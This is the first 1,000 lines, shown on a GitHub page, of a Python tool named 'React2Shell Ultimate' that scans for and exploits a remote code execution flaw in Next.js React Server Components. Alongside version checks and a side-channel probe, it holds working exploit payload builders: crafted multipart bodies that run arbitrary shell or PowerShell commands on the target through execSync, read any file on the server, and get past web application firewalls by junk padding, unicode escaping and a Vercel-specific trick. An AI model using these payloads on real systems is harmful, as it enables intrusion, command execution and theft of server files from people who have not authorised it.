-
Notifications
You must be signed in to change notification settings - Fork 32
Expand file tree
/
Copy pathreact2shell-ultimate.py
More file actions
executable file
·1722 lines (1458 loc) · 67.7 KB
/
react2shell-ultimate.py
File metadata and controls
executable file
·1722 lines (1458 loc) · 67.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
React2Shell Ultimate - CVE-2025-66478 Scanner
Next.js RSC (React Server Components) RCE Vulnerability Scanner
Combines best features from:
- Assetnote react2shell-scanner (HTTP-based detection, WAF bypass)
- Malayke scanner (version detection, patched version awareness)
- Pyroxenites tool (WAF bypass techniques)
- Abtonc run.sh (local project scanning)
Author: Satyam Rastogi (@hackersatyamrastogi)
Website: https://www.satyamrastogi.com
GitHub: https://github.com/hackersatyamrastogi
For authorized security testing only.
"""
import argparse
import sys
import json
import os
import re
import random
import string
import subprocess
import glob
import warnings
from datetime import datetime, timezone
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from typing import Optional, Dict, List, Tuple
from pathlib import Path
from dataclasses import dataclass, asdict
from enum import Enum
# Suppress SSL warnings
warnings.filterwarnings('ignore', message='.*OpenSSL.*')
warnings.filterwarnings('ignore', category=DeprecationWarning)
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except:
pass
try:
import requests
from requests.exceptions import RequestException
except ImportError:
print("\n\033[91m[ERROR]\033[0m Missing dependency: 'requests'")
print("\033[93m[FIX]\033[0m Run: pip install requests\n")
sys.exit(1)
# Optional tqdm for progress bar
try:
from tqdm import tqdm
HAS_TQDM = True
except ImportError:
HAS_TQDM = False
# ============================================================================
# CONSTANTS & CONFIGURATION
# ============================================================================
VERSION = "2.0.0"
TOOL_NAME = "React2Shell Ultimate CVE-2025-66478 Scanner"
# Patched versions (from scanner.go analysis)
PATCHED_VERSIONS = {
15: {0: 5, 1: 9, 2: 6, 3: 6, 4: 8, 5: 7}, # 15.0.5, 15.1.9, etc.
16: {0: 7}, # 16.0.7+
}
# CVE details
CVE_IDS = ["CVE-2025-55182", "CVE-2025-66478"]
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
MAGENTA = "\033[95m"
CYAN = "\033[96m"
WHITE = "\033[97m"
BOLD = "\033[1m"
RESET = "\033[0m"
class ScanMode(Enum):
SAFE = "safe" # Side-channel detection (no RCE)
RCE_POC = "rce" # RCE proof-of-concept (41*271=11111)
VERSION_ONLY = "version" # Version detection only (HTTP headers)
LOCAL = "local" # Local project scanning
@dataclass
class ScanResult:
url: str
vulnerable: Optional[bool] = None
version: Optional[str] = None
status_code: Optional[int] = None
detection_method: Optional[str] = None
waf_detected: bool = False
waf_bypassed: bool = False
error: Optional[str] = None
timestamp: str = ""
raw_response: Optional[str] = None
def __post_init__(self):
if not self.timestamp:
self.timestamp = datetime.now(timezone.utc).isoformat() + "Z"
# ============================================================================
# UTILITY FUNCTIONS
# ============================================================================
def colorize(text: str, color: str) -> str:
"""Apply color to text."""
return f"{color}{text}{Colors.RESET}"
def print_banner(god_mode: bool = False):
"""Print the tool banner."""
if god_mode:
banner = f"""
{Colors.RED}{Colors.BOLD}
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \\ ___ __ _ ___| |_|__ \\/ ___|| |__ ___| | | ║
║ | |_) / _ \\/ _` |/ __| __| / /\\___ \\| '_ \\ / _ \\ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \\_\\___|\\__,_|\\___|\\__|____|____/|_| |_|\\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v{VERSION} ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ {Colors.YELLOW}Author: Satyam Rastogi (@hackersatyamrastogi){Colors.RED} ║
║ {Colors.WHITE}https://github.com/hackersatyamrastogi{Colors.RED} ║
╠════════════════════════════════════════════════════════════════════════╣
║ {Colors.WHITE}███ GOD MODE ACTIVE - AUTHORIZED RED TEAM USE ONLY ███{Colors.RED} ║
╠════════════════════════════════════════════════════════════════════════╣
║ {Colors.YELLOW}⚠️ WARNING: This mode enables full command execution on targets.{Colors.RED} ║
║ {Colors.YELLOW}⚠️ Only use on systems you have EXPLICIT WRITTEN AUTHORIZATION.{Colors.RED} ║
║ {Colors.YELLOW}⚠️ Unauthorized access is a federal crime (CFAA, CMA, etc.){Colors.RED} ║
╚════════════════════════════════════════════════════════════════════════╝
{Colors.RESET}"""
else:
banner = f"""
{Colors.CYAN}{Colors.BOLD}
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \\ ___ __ _ ___| |_|__ \\/ ___|| |__ ___| | | ║
║ | |_) / _ \\/ _` |/ __| __| / /\\___ \\| '_ \\ / _ \\ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \\_\\___|\\__,_|\\___|\\__|____|____/|_| |_|\\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v{VERSION} ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ {Colors.YELLOW}Author: Satyam Rastogi (@hackersatyamrastogi){Colors.CYAN} ║
║ {Colors.WHITE}https://github.com/hackersatyamrastogi{Colors.CYAN} ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
{Colors.RESET}"""
print(banner)
def normalize_url(url: str) -> str:
"""Normalize URL to include scheme."""
url = url.strip()
if not url:
return ""
if not url.startswith(("http://", "https://")):
url = f"https://{url}"
return url.rstrip("/")
def parse_version(version: str) -> Tuple[int, int, int, bool, int]:
"""
Parse Next.js version string.
Returns: (major, minor, patch, is_canary, canary_num)
"""
version = version.lstrip("v").strip()
is_canary = "canary" in version.lower()
canary_num = 0
# Match: 15.0.1 or 14.3.0-canary.77
match = re.match(r'^(\d+)\.(\d+)\.(\d+)(?:-canary\.(\d+))?', version)
if not match:
return (0, 0, 0, False, 0)
major = int(match.group(1))
minor = int(match.group(2))
patch = int(match.group(3))
if match.group(4):
canary_num = int(match.group(4))
return (major, minor, patch, is_canary, canary_num)
def is_vulnerable(version: str) -> Tuple[bool, str]:
"""
Check if a Next.js version is vulnerable to CVE-2025-66478.
Returns: (is_vulnerable, reason)
"""
major, minor, patch, is_canary, canary_num = parse_version(version)
if major == 0:
return (False, "Unable to parse version")
# Next.js 16.x
if major == 16:
if minor == 0 and patch >= 7:
return (False, f"Patched in 16.0.7+")
if minor > 0:
return (False, f"16.{minor}.x is patched")
return (True, f"16.0.0-16.0.6 are vulnerable")
# Next.js 15.x
if major == 15:
if minor in PATCHED_VERSIONS.get(15, {}):
patched_patch = PATCHED_VERSIONS[15][minor]
if patch >= patched_patch:
return (False, f"Patched in 15.{minor}.{patched_patch}+")
return (True, "15.x without patch is vulnerable")
# Next.js 14.x canary
if major == 14 and is_canary:
if minor > 3:
return (True, "14.x canary (minor > 3) is vulnerable")
if minor == 3 and patch == 0 and canary_num >= 77:
return (True, "14.3.0-canary.77+ is vulnerable")
if minor == 3 and patch > 0:
return (True, "14.3.x canary is vulnerable")
return (False, "Pre-vulnerability canary version")
# Other versions (13.x, 14.x stable, etc.)
return (False, f"Version {major}.x is not affected")
# ============================================================================
# PAYLOAD BUILDERS
# ============================================================================
def generate_junk_data(size_kb: int = 128) -> Tuple[str, str]:
"""Generate random junk data for WAF bypass."""
param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_kb * 1024))
return param_name, junk
def encode_unicode(data: str) -> str:
"""Encode string characters as Unicode escapes for WAF bypass."""
result = []
in_string = False
i = 0
while i < len(data):
c = data[i]
if c == '"':
in_string = not in_string
result.append(c)
elif not in_string:
result.append(c)
elif c == '\\' and i + 1 < len(data):
result.append(c)
result.append(data[i + 1])
i += 1
else:
result.append(f"\\u{ord(c):04x}")
i += 1
return ''.join(result)
def build_safe_payload() -> Tuple[str, str]:
"""
Build safe side-channel detection payload.
This triggers a specific error response without executing code.
"""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f"{{}}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f'["$1:aa:aa"]\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_rce_payload(
windows: bool = False,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False
) -> Tuple[str, str]:
"""
Build RCE proof-of-concept payload.
Executes: echo $((41*271)) = 11111 (or PowerShell equivalent)
"""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
if windows:
cmd = 'powershell -c \\"41*271\\"'
else:
cmd = 'echo $((41*271))'
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
)
part0 = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
})
if unicode_encode:
part0 = encode_unicode(part0)
parts = []
# Add junk data at start for WAF bypass
if waf_bypass:
param_name, junk = generate_junk_data(waf_bypass_size_kb)
parts.append(
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
f"{junk}\r\n"
)
parts.extend([
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n",
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n',
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n",
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
])
body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_vercel_bypass_payload() -> Tuple[str, str]:
"""
Build Vercel-specific WAF bypass payload.
Uses special character escaping to evade Vercel's WAF.
"""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
part0 = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
'"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
)
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="3"\r\n\r\n'
f'{{"\\"\\u0024\\u0024":{{}}}}\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_exploit_payload(
command: str,
windows: bool = False,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False
) -> Tuple[str, str]:
"""
Build custom command execution payload for authorized red team assessments.
Returns command output in X-Action-Redirect header or response body.
"""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
# Escape single quotes in command
escaped_cmd = command.replace("'", "\\'")
if windows:
# PowerShell execution
prefix_payload = (
f"var res=process.mainModule.require('child_process')"
f".execSync('powershell -c \"{escaped_cmd}\"',{{timeout:30000}})"
f".toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/exploit?out=${{encodeURIComponent(res)}};307;`}});"
)
else:
# Unix/Linux execution
prefix_payload = (
f"var res=process.mainModule.require('child_process')"
f".execSync('{escaped_cmd}',{{timeout:30000}})"
f".toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/exploit?out=${{encodeURIComponent(res)}};307;`}});"
)
part0 = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
})
if unicode_encode:
part0 = encode_unicode(part0)
parts = []
# Add junk data at start for WAF bypass
if waf_bypass:
param_name, junk = generate_junk_data(waf_bypass_size_kb)
parts.append(
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
f"{junk}\r\n"
)
parts.extend([
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n",
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n',
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n",
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
])
body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_file_read_payload(
filepath: str,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False
) -> Tuple[str, str]:
"""
Build file read payload for authorized red team assessments.
Reads file contents and returns in response.
"""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
escaped_path = filepath.replace("'", "\\'")
prefix_payload = (
f"var res=process.mainModule.require('fs')"
f".readFileSync('{escaped_path}','utf-8');"
f"throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/exploit?out=${{encodeURIComponent(res)}};307;`}});"
)
part0 = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
})
if unicode_encode:
part0 = encode_unicode(part0)
parts = []
if waf_bypass:
param_name, junk = generate_junk_data(waf_bypass_size_kb)
parts.append(
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
f"{junk}\r\n"
)
parts.extend([
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n",
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n',
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n",
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
])
body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
# ============================================================================
# SCANNERS
# ============================================================================
class NextJSScanner:
"""Main scanner class for CVE-2025-66478 detection."""
def __init__(
self,
timeout: int = 10,
verify_ssl: bool = False,
user_agent: str = None,
proxy: str = None
):
self.timeout = timeout
self.verify_ssl = verify_ssl
self.user_agent = user_agent or (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
)
self.session = requests.Session()
self.session.verify = verify_ssl
if proxy:
self.session.proxies = {
"http": proxy,
"https": proxy
}
def _get_headers(self, content_type: str = None) -> Dict[str, str]:
"""Build request headers."""
headers = {
"User-Agent": self.user_agent,
"Next-Action": "x",
"X-Nextjs-Request-Id": f"scan-{random.randint(1000, 9999)}",
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
}
if content_type:
headers["Content-Type"] = content_type
return headers
def detect_version_http(self, url: str) -> ScanResult:
"""
Detect Next.js version using HTTP headers and response analysis.
Fast method that doesn't require browser.
"""
result = ScanResult(url=url, detection_method="http_headers")
url = normalize_url(url)
if not url:
result.error = "Invalid URL"
return result
try:
# First, check regular response headers
resp = self.session.get(
url,
headers={"User-Agent": self.user_agent},
timeout=self.timeout,
allow_redirects=True
)
result.status_code = resp.status_code
# Check X-Powered-By header
x_powered_by = resp.headers.get("X-Powered-By", "")
if "Next.js" in x_powered_by:
match = re.search(r'Next\.js\s+([0-9.]+(?:-canary\.\d+)?)', x_powered_by)
if match:
result.version = match.group(1)
# Check Vary header for RSC indicators
vary = resp.headers.get("Vary", "")
has_rsc = any(x in vary for x in ["RSC", "Next-Router-State-Tree"])
# Check for RSC response
rsc_resp = self.session.get(
url,
headers={"User-Agent": self.user_agent, "RSC": "1"},
timeout=self.timeout,
allow_redirects=True
)
is_rsc = rsc_resp.headers.get("Content-Type", "").startswith("text/x-component")
# Try to extract version from page source
if not result.version:
# Check for buildId or version in response
build_match = re.search(r'"buildId"\s*:\s*"([^"]+)"', resp.text)
if build_match:
result.detection_method = "build_id"
# Check for /_next/ static paths (confirms Next.js)
if "/_next/" in resp.text or "__next" in resp.text:
if not result.version:
result.version = "detected (version unknown)"
# Determine vulnerability
if result.version and result.version != "detected (version unknown)":
vuln, reason = is_vulnerable(result.version)
result.vulnerable = vuln
elif has_rsc or is_rsc:
# RSC detected but version unknown - potentially vulnerable
result.version = result.version or "RSC detected (version unknown)"
result.vulnerable = None # Unknown
return result
except RequestException as e:
result.error = str(e)
return result
def scan_safe(self, url: str) -> ScanResult:
"""
Safe side-channel vulnerability detection.
Triggers error response without executing code.
"""
result = ScanResult(url=url, detection_method="safe_side_channel")
url = normalize_url(url)
if not url:
result.error = "Invalid URL"
return result
body, content_type = build_safe_payload()
headers = self._get_headers(content_type)
try:
resp = self.session.post(
f"{url}/",
headers=headers,
data=body.encode('utf-8'),
timeout=self.timeout,
allow_redirects=False
)
result.status_code = resp.status_code
result.raw_response = resp.text[:2000]
# Check for vulnerability indicators
if resp.status_code == 500 and 'E{"digest"' in resp.text:
# Check for WAF/mitigation
server = resp.headers.get("Server", "").lower()
has_netlify = "Netlify-Vary" in resp.headers
if server in ["vercel", "netlify"] or has_netlify:
result.vulnerable = False
result.waf_detected = True
else:
result.vulnerable = True
elif resp.status_code == 403:
result.waf_detected = True
result.vulnerable = None # Blocked, unknown
else:
result.vulnerable = False
return result
except RequestException as e:
result.error = str(e)
return result
def scan_rce(
self,
url: str,
windows: bool = False,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False,
vercel_bypass: bool = False
) -> ScanResult:
"""
RCE proof-of-concept scan.
Executes harmless calculation (41*271=11111) to verify RCE.
"""
result = ScanResult(url=url, detection_method="rce_poc")
url = normalize_url(url)
if not url:
result.error = "Invalid URL"
return result
# Build payload based on options
if vercel_bypass:
body, content_type = build_vercel_bypass_payload()
result.detection_method = "rce_poc_vercel_bypass"
else:
body, content_type = build_rce_payload(
windows=windows,
waf_bypass=waf_bypass,
waf_bypass_size_kb=waf_bypass_size_kb,
unicode_encode=unicode_encode
)
if waf_bypass:
result.detection_method = "rce_poc_waf_bypass"
if unicode_encode:
result.detection_method = "rce_poc_unicode"
headers = self._get_headers(content_type)
try:
resp = self.session.post(
f"{url}/",
headers=headers,
data=body.encode('utf-8'),
timeout=self.timeout + (10 if waf_bypass else 0),
allow_redirects=False
)
result.status_code = resp.status_code
result.raw_response = resp.text[:2000]
# Check for RCE success (41*271 = 11111)
redirect_header = resp.headers.get("X-Action-Redirect", "")
if re.search(r'.*/login\?a=11111.*', redirect_header):
result.vulnerable = True
if waf_bypass or unicode_encode or vercel_bypass:
result.waf_bypassed = True
elif resp.status_code == 403:
result.waf_detected = True
result.vulnerable = None # Blocked
else:
result.vulnerable = False
return result
except RequestException as e:
result.error = str(e)
return result
def scan_comprehensive(
self,
url: str,
windows: bool = False,
try_bypasses: bool = True
) -> ScanResult:
"""
Comprehensive scan: version detection + safe check + RCE PoC with bypasses.
"""
url = normalize_url(url)
# Step 1: Version detection
version_result = self.detect_version_http(url)
# Step 2: Safe check
safe_result = self.scan_safe(url)
# If safe check shows vulnerable, we're done
if safe_result.vulnerable:
safe_result.version = version_result.version
safe_result.detection_method = "safe_side_channel"
return safe_result
# Step 3: If WAF detected and bypasses enabled, try RCE with bypasses
if safe_result.waf_detected and try_bypasses:
# Try standard RCE
rce_result = self.scan_rce(url, windows=windows)
if rce_result.vulnerable:
rce_result.version = version_result.version
return rce_result
# Try junk data bypass
rce_result = self.scan_rce(url, windows=windows, waf_bypass=True)
if rce_result.vulnerable:
rce_result.version = version_result.version
return rce_result
# Try unicode bypass
rce_result = self.scan_rce(url, windows=windows, unicode_encode=True)
if rce_result.vulnerable:
rce_result.version = version_result.version
return rce_result
# Try Vercel-specific bypass
rce_result = self.scan_rce(url, vercel_bypass=True)
if rce_result.vulnerable:
rce_result.version = version_result.version
return rce_result
# Return best result
if version_result.version:
version_result.waf_detected = safe_result.waf_detected
vuln, _ = is_vulnerable(version_result.version) if version_result.version else (None, "")
if vuln is not None:
version_result.vulnerable = vuln and not safe_result.waf_detected
return version_result
return safe_result
def exploit_execute(
self,
url: str,
command: str,
windows: bool = False,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False
) -> Tuple[bool, str]:
"""
Execute custom command on vulnerable target.
For authorized red team assessments only.
Returns: (success, output_or_error)
"""
url = normalize_url(url)
if not url:
return False, "Invalid URL"
body, content_type = build_exploit_payload(
command=command,
windows=windows,
waf_bypass=waf_bypass,
waf_bypass_size_kb=waf_bypass_size_kb,
unicode_encode=unicode_encode
)
headers = self._get_headers(content_type)
try:
resp = self.session.post(
f"{url}/",
headers=headers,
data=body.encode('utf-8'),
timeout=self.timeout + 20, # Extra time for command execution
allow_redirects=False
)
# Extract output from X-Action-Redirect header
redirect_header = resp.headers.get("X-Action-Redirect", "")
# Parse output from redirect URL
match = re.search(r'[?&]out=([^&;]+)', redirect_header)
if match:
from urllib.parse import unquote
output = unquote(match.group(1))
return True, output
# Try to extract from response body if not in header
body_match = re.search(r'out=([^&;\s"]+)', resp.text)
if body_match:
from urllib.parse import unquote
output = unquote(body_match.group(1))
return True, output
if resp.status_code == 403:
return False, "WAF blocked the request (403 Forbidden)"
elif resp.status_code == 500:
return False, "Server error - command may have failed or syntax error"
else:
return False, f"No output captured (Status: {resp.status_code})"
except RequestException as e:
return False, f"Request failed: {str(e)}"
def exploit_read_file(
self,
url: str,
filepath: str,
waf_bypass: bool = False,
waf_bypass_size_kb: int = 128,
unicode_encode: bool = False
) -> Tuple[bool, str]:
"""
Read file from vulnerable target.
For authorized red team assessments only.
Returns: (success, content_or_error)
"""
url = normalize_url(url)
if not url:
return False, "Invalid URL"
body, content_type = build_file_read_payload(
filepath=filepath,
waf_bypass=waf_bypass,
waf_bypass_size_kb=waf_bypass_size_kb,
unicode_encode=unicode_encode
)
headers = self._get_headers(content_type)
try:
resp = self.session.post(
f"{url}/",
headers=headers,
data=body.encode('utf-8'),
timeout=self.timeout + 10,
allow_redirects=False
)
# Extract output from X-Action-Redirect header
redirect_header = resp.headers.get("X-Action-Redirect", "")
match = re.search(r'[?&]out=([^&;]+)', redirect_header)
if match:
from urllib.parse import unquote
content = unquote(match.group(1))
return True, content
body_match = re.search(r'out=([^&;\s"]+)', resp.text)
if body_match:
from urllib.parse import unquote
content = unquote(body_match.group(1))
return True, content
if resp.status_code == 403:
return False, "WAF blocked the request"
else:
return False, f"File read failed (Status: {resp.status_code})"
except RequestException as e:
return False, f"Request failed: {str(e)}"
def scan_local_project(path: str = ".") -> List[ScanResult]:
"""
Scan local Next.js project for vulnerable versions.
Checks package.json, package-lock.json, yarn.lock, pnpm-lock.yaml.
"""
results = []
path = Path(path)
# Files to check
lockfiles = [
"package.json",
"package-lock.json",
"yarn.lock",
"pnpm-lock.yaml",
"bun.lockb"
]
for lockfile in lockfiles:
for filepath in path.rglob(lockfile):
# Skip node_modules
if "node_modules" in str(filepath):
continue
version = None
try:
content = filepath.read_text(errors='ignore')
if lockfile == "package.json":
match = re.search(r'"next"\s*:\s*"([^"]+)"', content)
if match:
version = match.group(1).lstrip("^~")
elif lockfile == "package-lock.json":
# Look for "next" package version
match = re.search(r'"next"[^}]*"version"\s*:\s*"([^"]+)"', content)
if match:
version = match.group(1)
elif lockfile == "yarn.lock":
# yarn.lock format: next@version:
match = re.search(r'next@[^:]+:\s*\n\s*version\s+"([^"]+)"', content)
if match:
version = match.group(1)
